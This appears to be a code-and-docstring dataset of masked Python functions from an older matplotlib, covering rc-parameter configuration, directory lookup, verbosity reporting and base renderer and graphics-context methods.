{"signature": "def get_converter(self, x):", "body": "if not len(self): return None <EOL>converter = None<EOL>classx = getattr(x, '<STR_LIT>', None)<EOL>if classx is not None:<EOL><INDENT>converter = self.get(classx)<EOL><DEDENT>if converter is None and iterable(x):<EOL><INDENT>if isinstance(x, np.ndarray) and x.dtype != np.object:<EOL><INDENT>return None<EOL><DEDENT>for thisx in x:<EOL><INDENT>converter = self.get_converter( thisx )<EOL>return converter<EOL><DEDENT><DEDENT>return converter<EOL>", "docstring": "get the converter interface instance for x, or None", "id": "f17205:c2:m1"}
{"signature": "def _is_writable_dir(p):", "body": "try: p + '<STR_LIT>'  <EOL>except TypeError: return False<EOL>try:<EOL><INDENT>t = tempfile.TemporaryFile(dir=p)<EOL>t.write('<STR_LIT:1>')<EOL>t.close()<EOL><DEDENT>except OSError: return False<EOL>else: return True<EOL>", "docstring": "p is a string pointing to a putative writable dir -- return True p\nis such a string, else False", "id": "f17206:m1"}
{"signature": "def compare_versions(a, b):", "body": "if a:<EOL><INDENT>a = distutils.version.LooseVersion(a)<EOL>b = distutils.version.LooseVersion(b)<EOL>if a>=b: return True<EOL>else: return False<EOL><DEDENT>else: return False<EOL>", "docstring": "return True if a is greater than or equal to b", "id": "f17206:m6"}
{"signature": "def _get_home():", "body": "path='<STR_LIT>'<EOL>try:<EOL><INDENT>path=os.path.expanduser(\"<STR_LIT>\")<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>if not os.path.isdir(path):<EOL><INDENT>for evar in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>path = os.environ[evar]<EOL>if os.path.isdir(path):<EOL><INDENT>break<EOL><DEDENT><DEDENT>except: pass<EOL><DEDENT><DEDENT>if path:<EOL><INDENT>return path<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Find user's home directory if possible.\n    Otherwise raise error.\n\n    :see:  http://mail.python.org/pipermail/python-list/2005-February/263921.html", "id": "f17206:m9"}
{"signature": "def _get_configdir():", "body": "configdir = os.environ.get('<STR_LIT>')<EOL>if configdir is not None:<EOL><INDENT>if not _is_writable_dir(configdir):<EOL><INDENT>raise RuntimeError('<STR_LIT>'%configdir)<EOL><DEDENT>return configdir<EOL><DEDENT>h = get_home()<EOL>p = os.path.join(get_home(), '<STR_LIT>')<EOL>if os.path.exists(p):<EOL><INDENT>if not _is_writable_dir(p):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"% (h, h))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not _is_writable_dir(h):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"%h)<EOL><DEDENT>os.mkdir(p)<EOL><DEDENT>return p<EOL>", "docstring": "Return the string representing the configuration dir.\n\ndefault is HOME/.matplotlib.  you can override this with the\nMPLCONFIGDIR environment variable", "id": "f17206:m10"}
{"signature": "def _get_data_path():", "body": "if '<STR_LIT>' in os.environ:<EOL><INDENT>path = os.environ['<STR_LIT>']<EOL>if not os.path.isdir(path):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return path<EOL><DEDENT>path = os.sep.join([os.path.dirname(__file__), '<STR_LIT>'])<EOL>if os.path.isdir(path): return path<EOL>import matplotlib.afm<EOL>path = os.sep.join([os.path.dirname(matplotlib.afm.__file__), '<STR_LIT>'])<EOL>if os.path.isdir(path): return path<EOL>if getattr(sys,'<STR_LIT>',None):<EOL><INDENT>path = os.path.join(os.path.split(sys.path[<NUM_LIT:0>])[<NUM_LIT:0>], '<STR_LIT>')<EOL>if os.path.isdir(path): return path<EOL>else:<EOL><INDENT>path = os.path.join(os.path.split(os.path.split(sys.path[<NUM_LIT:0>])[<NUM_LIT:0>])[<NUM_LIT:0>],<EOL>'<STR_LIT>')<EOL><DEDENT>if os.path.isdir(path): return path<EOL>else:<EOL><INDENT>path = os.path.join(sys.path[<NUM_LIT:0>], '<STR_LIT>')<EOL>if os.path.isdir(path): return path<EOL><DEDENT><DEDENT>raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "get the path to matplotlib data", "id": "f17206:m11"}
{"signature": "def get_example_data(fname):", "body": "datadir = os.path.join(get_data_path(), '<STR_LIT>')<EOL>fullpath = os.path.join(datadir, fname)<EOL>if not os.path.exists(fullpath):<EOL><INDENT>raise IOError('<STR_LIT>'%(<EOL>fname, datadir))<EOL><DEDENT>return file(fullpath, '<STR_LIT:rb>')<EOL>", "docstring": "return a filehandle to one of the example files in mpl-data/example\n\n*fname*\n    the name of one of the files in mpl-data/example", "id": "f17206:m13"}
{"signature": "def matplotlib_fname():", "body": "oldname = os.path.join( os.getcwd(), '<STR_LIT>')<EOL>if os.path.exists(oldname):<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\", file=sys.stderr)<EOL>shutil.move('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>home = get_home()<EOL>oldname = os.path.join( home, '<STR_LIT>')<EOL>if os.path.exists(oldname):<EOL><INDENT>configdir = get_configdir()<EOL>newname = os.path.join(configdir, '<STR_LIT>')<EOL>print(\"\"\"<STR_LIT>\"\"\"%(oldname, newname), file=sys.stderr)<EOL>shutil.move(oldname, newname)<EOL><DEDENT>fname = os.path.join( os.getcwd(), '<STR_LIT>')<EOL>if os.path.exists(fname): return fname<EOL>if '<STR_LIT>' in os.environ:<EOL><INDENT>path =  os.environ['<STR_LIT>']<EOL>if os.path.exists(path):<EOL><INDENT>fname = os.path.join(path, '<STR_LIT>')<EOL>if os.path.exists(fname):<EOL><INDENT>return fname<EOL><DEDENT><DEDENT><DEDENT>fname = os.path.join(get_configdir(), '<STR_LIT>')<EOL>if os.path.exists(fname): return fname<EOL>path =  get_data_path() <EOL>fname = os.path.join(path, '<STR_LIT>')<EOL>if not os.path.exists(fname):<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT>return fname<EOL>", "docstring": "Return the path to the rc file\n\nSearch order:\n\n * current working dir\n * environ var MATPLOTLIBRC\n * HOME/.matplotlib/matplotlibrc\n * MATPLOTLIBDATA/matplotlibrc", "id": "f17206:m15"}
{"signature": "def rc_params(fail_on_error=False):", "body": "fname = matplotlib_fname()<EOL>if not os.path.exists(fname):<EOL><INDENT>message = '<STR_LIT>'<EOL>ret = RcParams([ (key, default) for key, (default, converter) indefaultParams.items() ])<EOL>warnings.warn(message)<EOL>return ret<EOL><DEDENT>cnt = <NUM_LIT:0><EOL>rc_temp = {}<EOL>for line in file(fname):<EOL><INDENT>cnt += <NUM_LIT:1><EOL>strippedline = line.split('<STR_LIT:#>',<NUM_LIT:1>)[<NUM_LIT:0>].strip()<EOL>if not strippedline: continue<EOL>tup = strippedline.split('<STR_LIT::>',<NUM_LIT:1>)<EOL>if len(tup) !=<NUM_LIT:2>:<EOL><INDENT>warnings.warn('<STR_LIT>'%(cnt, line, fname))<EOL>continue<EOL><DEDENT>key, val = tup<EOL>key = key.strip()<EOL>val = val.strip()<EOL>if key in rc_temp:<EOL><INDENT>warnings.warn('<STR_LIT>'%(fname,cnt))<EOL><DEDENT>rc_temp[key] = (val, line, cnt)<EOL><DEDENT>ret = RcParams([ (key, default) for key, (default, converter) indefaultParams.items() ])<EOL>for key in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if key in rc_temp:<EOL><INDENT>val, line, cnt = rc_temp.pop(key)<EOL>if fail_on_error:<EOL><INDENT>ret[key] = val <EOL><DEDENT>else:<EOL><INDENT>try: ret[key] = val <EOL>except Exception as msg:<EOL><INDENT>warnings.warn('<STR_LIT>' % (val, cnt, line, fname, msg))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>verbose.set_level(ret['<STR_LIT>'])<EOL>verbose.set_fileo(ret['<STR_LIT>'])<EOL>for key, (val, line, cnt) in rc_temp.items():<EOL><INDENT>if key in defaultParams:<EOL><INDENT>if fail_on_error:<EOL><INDENT>ret[key] = val <EOL><DEDENT>else:<EOL><INDENT>try: ret[key] = val <EOL>except Exception as msg:<EOL><INDENT>warnings.warn('<STR_LIT>' % (val, cnt, line, fname, msg))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>print(\"\"\"<STR_LIT>\"\"\" % (key, cnt, fname), file=sys.stderr)<EOL><DEDENT><DEDENT>if ret['<STR_LIT>'] is None:<EOL><INDENT>ret['<STR_LIT>'] = get_data_path()<EOL><DEDENT>if not ret['<STR_LIT>'] == ['<STR_LIT>']:<EOL><INDENT>verbose.report(", "docstring": "Return the default params updated from the values in the rc file", "id": "f17206:m16"}
{"signature": "def rc(group, **kwargs):", "body": "aliases = {<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>'<STR_LIT:c>'   : '<STR_LIT>',<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>'<STR_LIT>' : '<STR_LIT>',<EOL>'<STR_LIT>'  : '<STR_LIT>',<EOL>}<EOL>if is_string_like(group):<EOL><INDENT>group = (group,)<EOL><DEDENT>for g in group:<EOL><INDENT>for k,v in list(kwargs.items()):<EOL><INDENT>name = aliases.get(k) or k<EOL>key = '<STR_LIT>' % (g, name)<EOL>if key not in rcParams:<EOL><INDENT>raise KeyError('<STR_LIT>' %<EOL>(key, g, name))<EOL><DEDENT>rcParams[key] = v<EOL><DEDENT><DEDENT>", "docstring": "Set the current rc params.  Group is the grouping for the rc, eg.\nfor ``lines.linewidth`` the group is ``lines``, for\n``axes.facecolor``, the group is ``axes``, and so on.  Group may\nalso be a list or tuple of group names, eg. (*xtick*, *ytick*).\n*kwargs* is a dictionary attribute name/value pairs, eg::\n\n  rc('lines', linewidth=2, color='r')\n\nsets the current rc params and is equivalent to::\n\n  rcParams['lines.linewidth'] = 2\n  rcParams['lines.color'] = 'r'\n\nThe following aliases are available to save typing for interactive\nusers:\n\n=====   =================\nAlias   Property\n=====   =================\n'lw'    'linewidth'\n'ls'    'linestyle'\n'c'     'color'\n'fc'    'facecolor'\n'ec'    'edgecolor'\n'mew'   'markeredgewidth'\n'aa'    'antialiased'\n=====   =================\n\nThus you could abbreviate the above rc command as::\n\n      rc('lines', lw=2, c='r')\n\n\nNote you can use python's kwargs dictionary facility to store\ndictionaries of default parameters.  Eg, you can customize the\nfont rc as follows::\n\n  font = {'family' : 'monospace',\n          'weight' : 'bold',\n          'size'   : 'larger'}\n\n  rc('font', **font)  # pass in the font dict as kwargs\n\nThis enables you to easily switch between several configurations.\nUse :func:`~matplotlib.pyplot.rcdefaults` to restore the default\nrc params after changes.", "id": "f17206:m17"}
{"signature": "def rcdefaults():", "body": "rcParams.update(rcParamsDefault)<EOL>", "docstring": "Restore the default rc params - the ones that were created at\nmatplotlib load time.", "id": "f17206:m18"}
{"signature": "def use(arg, warn=True):", "body": "if '<STR_LIT>' in sys.modules:<EOL><INDENT>if warn: warnings.warn(_use_error_msg)<EOL>return<EOL><DEDENT>arg = arg.lower()<EOL>if arg.startswith('<STR_LIT>'):<EOL><INDENT>name = arg<EOL><DEDENT>else:<EOL><INDENT>be_parts = arg.split('<STR_LIT:.>')<EOL>name = validate_backend(be_parts[<NUM_LIT:0>])<EOL><DEDENT>rcParams['<STR_LIT>'] = name<EOL>if name == '<STR_LIT>' and len(be_parts) > <NUM_LIT:1>:<EOL><INDENT>rcParams['<STR_LIT>'] = validate_cairo_format(be_parts[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "Set the matplotlib backend to one of the known backends.\n\nThe argument is case-insensitive.  For the Cairo backend,\nthe argument can have an extension to indicate the type of\noutput.  Example:\n\n    use('cairo.pdf')\n\nwill specify a default of pdf output generated by Cairo.\n\nNote: this function must be called *before* importing pylab for\nthe first time; or, if you are not using pylab, it must be called\nbefore importing matplotlib.backends.  If warn is True, a warning\nis issued if you try and callthis after pylab or pyplot have been\nloaded.  In certain black magic use cases, eg\npyplot.switch_backends, we are doing the reloading necessary to\nmake the backend switch work (in some cases, eg pure image\nbackends) so one can set warn=False to supporess the warnings", "id": "f17206:m19"}
{"signature": "def get_backend():", "body": "return rcParams['<STR_LIT>']<EOL>", "docstring": "Returns the current backend", "id": "f17206:m20"}
{"signature": "def interactive(b):", "body": "rcParams['<STR_LIT>'] = b<EOL>", "docstring": "Set interactive mode to boolean b.\n\nIf b is True, then draw after every plotting command, eg, after xlabel", "id": "f17206:m21"}
{"signature": "def is_interactive():", "body": "b = rcParams['<STR_LIT>']<EOL>return b<EOL>", "docstring": "Return true if plot mode is interactive", "id": "f17206:m22"}
{"signature": "def tk_window_focus():", "body": "if rcParams['<STR_LIT>'] != '<STR_LIT>':<EOL><INDENT>return False<EOL><DEDENT>return rcParams['<STR_LIT>']<EOL>", "docstring": "Return true if focus maintenance under TkAgg on win32 is on.\n     This currently works only for python.exe and IPython.exe.\n     Both IDLE and Pythonwin.exe fail badly when tk_window_focus is on.", "id": "f17206:m23"}
{"signature": "def set_level(self, level):", "body": "if self._commandLineVerbose is not None:<EOL><INDENT>level = self._commandLineVerbose<EOL><DEDENT>if level not in self.levels:<EOL><INDENT>raise ValueError('<STR_LIT>'%(level, self.levels))<EOL><DEDENT>self.level = level<EOL>", "docstring": "set the verbosity to one of the Verbose.levels strings", "id": "f17206:c0:m1"}
{"signature": "def report(self, s, level='<STR_LIT>'):", "body": "if self.ge(level):<EOL><INDENT>print(s, file=self.fileo)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "print message s to self.fileo if self.level>=level.  Return\nvalue indicates whether a message was issued", "id": "f17206:c0:m3"}
{"signature": "def wrap(self, fmt, func, level='<STR_LIT>', always=True):", "body": "assert callable(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>ret = func(*args, **kwargs)<EOL>if (always or not wrapper._spoke):<EOL><INDENT>spoke = self.report(fmt%ret, level)<EOL>if not wrapper._spoke: wrapper._spoke = spoke<EOL><DEDENT>return ret<EOL><DEDENT>wrapper._spoke = False<EOL>wrapper.__doc__ = func.__doc__<EOL>return wrapper<EOL>", "docstring": "return a callable function that wraps func and reports it\noutput through the verbose handler if current verbosity level\nis higher than level\n\nif always is True, the report will occur on every function\ncall; otherwise only on the first time the function is called", "id": "f17206:c0:m4"}
{"signature": "def ge(self, level):", "body": "return self.vald[self.level]>=self.vald[level]<EOL>", "docstring": "return true if self.level is >= level", "id": "f17206:c0:m5"}
{"signature": "def open_group(self, s):", "body": "pass<EOL>", "docstring": "Open a grouping element with label *s*. Is only currently used by\n:mod:`~matplotlib.backends.backend_svg`", "id": "f17207:c0:m1"}
{"signature": "def close_group(self, s):", "body": "pass<EOL>", "docstring": "Close a grouping element with label *s*\nIs only currently used by :mod:`~matplotlib.backends.backend_svg`", "id": "f17207:c0:m2"}
{"signature": "def draw_path(self, gc, path, transform, rgbFace=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Draws a :class:`~matplotlib.path.Path` instance using the\ngiven affine transform.", "id": "f17207:c0:m3"}
{"signature": "def draw_markers(self, gc, marker_path, marker_trans, path, trans, rgbFace=None):", "body": "tpath = trans.transform_path(path)<EOL>for vertices, codes in tpath.iter_segments():<EOL><INDENT>if len(vertices):<EOL><INDENT>x,y = vertices[-<NUM_LIT:2>:]<EOL>self.draw_path(gc, marker_path,<EOL>marker_trans + transforms.Affine2D().translate(x, y),<EOL>rgbFace)<EOL><DEDENT><DEDENT>", "docstring": "Draws a marker at each of the vertices in path.  This includes\nall vertices, including control points on curves.  To avoid\nthat behavior, those vertices should be removed before calling\nthis function.\n\n*gc*\n    the :class:`GraphicsContextBase` instance\n\n*marker_trans*\n    is an affine transform applied to the marker.\n\n*trans*\n     is an affine transform applied to the path.\n\nThis provides a fallback implementation of draw_markers that\nmakes multiple calls to :meth:`draw_path`.  Some backends may\nwant to override this method in order to draw the marker only\nonce and reuse it multiple times.", "id": "f17207:c0:m4"}
{"signature": "def draw_path_collection(self, master_transform, cliprect, clippath,<EOL>clippath_trans, paths, all_transforms, offsets,<EOL>offsetTrans, facecolors, edgecolors, linewidths,<EOL>linestyles, antialiaseds, urls):", "body": "path_ids = []<EOL>for path, transform in self._iter_collection_raw_paths(<EOL>master_transform, paths, all_transforms):<EOL><INDENT>path_ids.append((path, transform))<EOL><DEDENT>for xo, yo, path_id, gc, rgbFace in self._iter_collection(<EOL>path_ids, cliprect, clippath, clippath_trans,<EOL>offsets, offsetTrans, facecolors, edgecolors,<EOL>linewidths, linestyles, antialiaseds, urls):<EOL><INDENT>path, transform = path_id<EOL>transform = transforms.Affine2D(transform.get_matrix()).translate(xo, yo)<EOL>self.draw_path(gc, path, transform, rgbFace)<EOL><DEDENT>", "docstring": "Draws a collection of paths, selecting drawing properties from\nthe lists *facecolors*, *edgecolors*, *linewidths*,\n*linestyles* and *antialiaseds*. *offsets* is a list of\noffsets to apply to each of the paths.  The offsets in\n*offsets* are first transformed by *offsetTrans* before\nbeing applied.\n\nThis provides a fallback implementation of\n:meth:`draw_path_collection` that makes multiple calls to\ndraw_path.  Some backends may want to override this in order\nto render each set of path data only once, and then reference\nthat path multiple times with the different offsets, colors,\nstyles etc.  The generator methods\n:meth:`_iter_collection_raw_paths` and\n:meth:`_iter_collection` are provided to help with (and\nstandardize) the implementation across backends.  It is highly\nrecommended to use those generators, so that changes to the\nbehavior of :meth:`draw_path_collection` can be made globally.", "id": "f17207:c0:m5"}
{"signature": "def draw_quad_mesh(self, master_transform, cliprect, clippath,<EOL>clippath_trans, meshWidth, meshHeight, coordinates,<EOL>offsets, offsetTrans, facecolors, antialiased,<EOL>showedges):", "body": "from matplotlib.collections import QuadMesh<EOL>paths = QuadMesh.convert_mesh_to_paths(<EOL>meshWidth, meshHeight, coordinates)<EOL>if showedges:<EOL><INDENT>edgecolors = np.array([[<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>]], np.float_)<EOL>linewidths = np.array([<NUM_LIT:1.0>], np.float_)<EOL><DEDENT>else:<EOL><INDENT>edgecolors = facecolors<EOL>linewidths = np.array([<NUM_LIT:0.0>], np.float_)<EOL><DEDENT>return self.draw_path_collection(<EOL>master_transform, cliprect, clippath, clippath_trans,<EOL>paths, [], offsets, offsetTrans, facecolors, edgecolors,<EOL>linewidths, [], [antialiased], [None])<EOL>", "docstring": "This provides a fallback implementation of\n:meth:`draw_quad_mesh` that generates paths and then calls\n:meth:`draw_path_collection`.", "id": "f17207:c0:m6"}
{"signature": "def _iter_collection_raw_paths(self, master_transform, paths, all_transforms):", "body": "Npaths      = len(paths)<EOL>Ntransforms = len(all_transforms)<EOL>N           = max(Npaths, Ntransforms)<EOL>if Npaths == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>transform = transforms.IdentityTransform()<EOL>for i in range(N):<EOL><INDENT>path = paths[i % Npaths]<EOL>if Ntransforms:<EOL><INDENT>transform = all_transforms[i % Ntransforms]<EOL><DEDENT>yield path, transform + master_transform<EOL><DEDENT>", "docstring": "This is a helper method (along with :meth:`_iter_collection`) to make\nit easier to write a space-efficent :meth:`draw_path_collection`\nimplementation in a backend.\n\nThis method yields all of the base path/transform\ncombinations, given a master transform, a list of paths and\nlist of transforms.\n\nThe arguments should be exactly what is passed in to\n:meth:`draw_path_collection`.\n\nThe backend should take each yielded path and transform and\ncreate an object that can be referenced (reused) later.", "id": "f17207:c0:m7"}
{"signature": "def _iter_collection(self, path_ids, cliprect, clippath, clippath_trans,<EOL>offsets, offsetTrans, facecolors, edgecolors,<EOL>linewidths, linestyles, antialiaseds, urls):", "body": "Npaths      = len(path_ids)<EOL>Noffsets    = len(offsets)<EOL>N           = max(Npaths, Noffsets)<EOL>Nfacecolors = len(facecolors)<EOL>Nedgecolors = len(edgecolors)<EOL>Nlinewidths = len(linewidths)<EOL>Nlinestyles = len(linestyles)<EOL>Naa         = len(antialiaseds)<EOL>Nurls       = len(urls)<EOL>if (Nfacecolors == <NUM_LIT:0> and Nedgecolors == <NUM_LIT:0>) or Npaths == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>if Noffsets:<EOL><INDENT>toffsets = offsetTrans.transform(offsets)<EOL><DEDENT>gc = self.new_gc()<EOL>gc.set_clip_rectangle(cliprect)<EOL>if clippath is not None:<EOL><INDENT>clippath = transforms.TransformedPath(clippath, clippath_trans)<EOL>gc.set_clip_path(clippath)<EOL><DEDENT>if Nfacecolors == <NUM_LIT:0>:<EOL><INDENT>rgbFace = None<EOL><DEDENT>if Nedgecolors == <NUM_LIT:0>:<EOL><INDENT>gc.set_linewidth(<NUM_LIT:0.0>)<EOL><DEDENT>xo, yo = <NUM_LIT:0>, <NUM_LIT:0><EOL>for i in range(N):<EOL><INDENT>path_id = path_ids[i % Npaths]<EOL>if Noffsets:<EOL><INDENT>xo, yo = toffsets[i % Noffsets]<EOL><DEDENT>if Nfacecolors:<EOL><INDENT>rgbFace = facecolors[i % Nfacecolors]<EOL><DEDENT>if Nedgecolors:<EOL><INDENT>gc.set_foreground(edgecolors[i % Nedgecolors])<EOL>if Nlinewidths:<EOL><INDENT>gc.set_linewidth(linewidths[i % Nlinewidths])<EOL><DEDENT>if Nlinestyles:<EOL><INDENT>gc.set_dashes(*linestyles[i % Nlinestyles])<EOL><DEDENT><DEDENT>if rgbFace is not None and len(rgbFace)==<NUM_LIT:4>:<EOL><INDENT>gc.set_alpha(rgbFace[-<NUM_LIT:1>])<EOL>rgbFace = rgbFace[:<NUM_LIT:3>]<EOL><DEDENT>gc.set_antialiased(antialiaseds[i % Naa])<EOL>if Nurls:<EOL><INDENT>gc.set_url(urls[i % Nurls])<EOL><DEDENT>yield xo, yo, path_id, gc, rgbFace<EOL><DEDENT>", "docstring": "This is a helper method (along with\n:meth:`_iter_collection_raw_paths`) to make it easier to write\na space-efficent :meth:`draw_path_collection` implementation in a\nbackend.\n\nThis method yields all of the path, offset and graphics\ncontext combinations to draw the path collection.  The caller\nshould already have looped over the results of\n:meth:`_iter_collection_raw_paths` to draw this collection.\n\nThe arguments should be the same as that passed into\n:meth:`draw_path_collection`, with the exception of\n*path_ids*, which is a list of arbitrary objects that the\nbackend will use to reference one of the paths created in the\n:meth:`_iter_collection_raw_paths` stage.\n\nEach yielded result is of the form::\n\n   xo, yo, path_id, gc, rgbFace\n\nwhere *xo*, *yo* is an offset; *path_id* is one of the elements of\n*path_ids*; *gc* is a graphics context and *rgbFace* is a color to\nuse for filling the path.", "id": "f17207:c0:m8"}
{"signature": "def get_image_magnification(self):", "body": "return <NUM_LIT:1.0><EOL>", "docstring": "Get the factor by which to magnify images passed to :meth:`draw_image`.\nAllows a backend to have images at a different resolution to other\nartists.", "id": "f17207:c0:m9"}
{"signature": "def draw_image(self, x, y, im, bbox, clippath=None, clippath_trans=None):", "body": "raise NotImplementedError<EOL>", "docstring": "Draw the image instance into the current axes;\n\n*x*\n    is the distance in pixels from the left hand side of the canvas.\n\n*y*\n    the distance from the origin.  That is, if origin is\n    upper, y is the distance from top.  If origin is lower, y\n    is the distance from bottom\n\n*im*\n    the :class:`matplotlib._image.Image` instance\n\n*bbox*\n    a :class:`matplotlib.transforms.Bbox` instance for clipping, or\n    None", "id": "f17207:c0:m10"}
{"signature": "def option_image_nocomposite(self):", "body": "return False<EOL>", "docstring": "overwrite this method for renderers that do not necessarily\nwant to rescale and composite raster images. (like SVG)", "id": "f17207:c0:m11"}
{"signature": "def draw_text(self, gc, x, y, s, prop, angle, ismath=False):", "body": "raise NotImplementedError<EOL>", "docstring": "Draw the text instance\n\n*gc*\n    the :class:`GraphicsContextBase` instance\n\n*x*\n    the x location of the text in display coords\n\n*y*\n    the y location of the text in display coords\n\n*s*\n     a :class:`matplotlib.text.Text` instance\n\n*prop*\n  a :class:`matplotlib.font_manager.FontProperties` instance\n\n*angle*\n    the rotation angle in degrees\n\n**backend implementers note**\n\nWhen you are trying to determine if you have gotten your bounding box\nright (which is what enables the text layout/alignment to work\nproperly), it helps to change the line in text.py::\n\n    if 0: bbox_artist(self, renderer)\n\nto if 1, and then the actual bounding box will be blotted along with\nyour text.", "id": "f17207:c0:m13"}
{"signature": "def flipy(self):", "body": "return True<EOL>", "docstring": "Return true if y small numbers are top for renderer Is used\nfor drawing text (:mod:`matplotlib.text`) and images\n(:mod:`matplotlib.image`) only", "id": "f17207:c0:m14"}
{"signature": "def get_canvas_width_height(self):", "body": "return <NUM_LIT:1>, <NUM_LIT:1><EOL>", "docstring": "return the canvas width and height in display coords", "id": "f17207:c0:m15"}
{"signature": "def get_texmanager(self):", "body": "if self._texmanager is None:<EOL><INDENT>from matplotlib.texmanager import TexManager<EOL>self._texmanager = TexManager()<EOL><DEDENT>return self._texmanager<EOL>", "docstring": "return the :class:`matplotlib.texmanager.TexManager` instance", "id": "f17207:c0:m16"}
{"signature": "def get_text_width_height_descent(self, s, prop, ismath):", "body": "raise NotImplementedError<EOL>", "docstring": "get the width and height, and the offset from the bottom to the\nbaseline (descent), in display coords of the string s with\n:class:`~matplotlib.font_manager.FontProperties` prop", "id": "f17207:c0:m17"}
{"signature": "def new_gc(self):", "body": "return GraphicsContextBase()<EOL>", "docstring": "Return an instance of a :class:`GraphicsContextBase`", "id": "f17207:c0:m18"}
{"signature": "def points_to_pixels(self, points):", "body": "return points<EOL>", "docstring": "Convert points to display units\n\n*points*\n    a float or a numpy array of float\n\nreturn points converted to pixels\n\nYou need to override this function (unless your backend\ndoesn't have a dpi, eg, postscript or svg).  Some imaging\nsystems assume some value for pixels per inch::\n\n    points to pixels = points * pixels_per_inch/72.0 * dpi/72.0", "id": "f17207:c0:m19"}
{"signature": "def copy_properties(self, gc):", "body": "self._alpha = gc._alpha<EOL>self._antialiased = gc._antialiased<EOL>self._capstyle = gc._capstyle<EOL>self._cliprect = gc._cliprect<EOL>self._clippath = gc._clippath<EOL>self._dashes = gc._dashes<EOL>self._joinstyle = gc._joinstyle<EOL>self._linestyle = gc._linestyle<EOL>self._linewidth = gc._linewidth<EOL>self._rgb = gc._rgb<EOL>self._hatch = gc._hatch<EOL>self._url = gc._url<EOL>self._snap = gc._snap<EOL>", "docstring": "Copy properties from gc to self", "id": "f17207:c1:m1"}
{"signature": "def get_alpha(self):", "body": "return self._alpha<EOL>", "docstring": "Return the alpha value used for blending - not supported on\nall backends", "id": "f17207:c1:m2"}
{"signature": "def get_antialiased(self):", "body": "return self._antialiased<EOL>", "docstring": "Return true if the object should try to do antialiased rendering", "id": "f17207:c1:m3"}
{"signature": "def get_capstyle(self):", "body": "return self._capstyle<EOL>", "docstring": "Return the capstyle as a string in ('butt', 'round', 'projecting')", "id": "f17207:c1:m4"}
{"signature": "def get_clip_rectangle(self):", "body": "return self._cliprect<EOL>", "docstring": "Return the clip rectangle as a :class:`~matplotlib.transforms.Bbox` instance", "id": "f17207:c1:m5"}
{"signature": "def get_clip_path(self):", "body": "if self._clippath is not None:<EOL><INDENT>return self._clippath.get_transformed_path_and_affine()<EOL><DEDENT>return None, None<EOL>", "docstring": "Return the clip path in the form (path, transform), where path\nis a :class:`~matplotlib.path.Path` instance, and transform is\nan affine transform to apply to the path before clipping.", "id": "f17207:c1:m6"}
{"signature": "def get_dashes(self):", "body": "return self._dashes<EOL>", "docstring": "Return the dash information as an offset dashlist tuple.\n\nThe dash list is a even size list that gives the ink on, ink\noff in pixels.\n\nSee p107 of to PostScript `BLUEBOOK\n<http://www-cdf.fnal.gov/offline/PostScript/BLUEBOOK.PDF>`_\nfor more info.\n\nDefault value is None", "id": "f17207:c1:m7"}
{"signature": "def get_joinstyle(self):", "body": "return self._joinstyle<EOL>", "docstring": "Return the line join style as one of ('miter', 'round', 'bevel')", "id": "f17207:c1:m8"}
{"signature": "def get_linestyle(self, style):", "body": "return self._linestyle<EOL>", "docstring": "Return the linestyle: one of ('solid', 'dashed', 'dashdot',\n'dotted').", "id": "f17207:c1:m9"}
{"signature": "def get_linewidth(self):", "body": "return self._linewidth<EOL>", "docstring": "Return the line width in points as a scalar", "id": "f17207:c1:m10"}
{"signature": "def get_rgb(self):", "body": "return self._rgb<EOL>", "docstring": "returns a tuple of three floats from 0-1.  color can be a\nmatlab format string, a html hex color string, or a rgb tuple", "id": "f17207:c1:m11"}
{"signature": "def get_url(self):", "body": "return self._url<EOL>", "docstring": "returns a url if one is set, None otherwise", "id": "f17207:c1:m12"}
{"signature": "def get_snap(self):", "body": "return self._snap<EOL>", "docstring": "returns the snap setting which may be:\n\n  * True: snap vertices to the nearest pixel center\n\n  * False: leave vertices as-is\n\n  * None: (auto) If the path contains only rectilinear line\n    segments, round to the nearest pixel center", "id": "f17207:c1:m13"}
{"signature": "def set_alpha(self, alpha):", "body": "self._alpha = alpha<EOL>", "docstring": "Set the alpha value used for blending - not supported on\nall backends", "id": "f17207:c1:m14"}
{"signature": "def set_antialiased(self, b):", "body": "<EOL>if b: self._antialiased = <NUM_LIT:1><EOL>else: self._antialiased = <NUM_LIT:0><EOL>", "docstring": "True if object should be drawn with antialiased rendering", "id": "f17207:c1:m15"}
{"signature": "def set_capstyle(self, cs):", "body": "if cs in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>self._capstyle = cs<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % cs)<EOL><DEDENT>", "docstring": "Set the capstyle as a string in ('butt', 'round', 'projecting')", "id": "f17207:c1:m16"}
{"signature": "def set_clip_rectangle(self, rectangle):", "body": "self._cliprect = rectangle<EOL>", "docstring": "Set the clip rectangle with sequence (left, bottom, width, height)", "id": "f17207:c1:m17"}
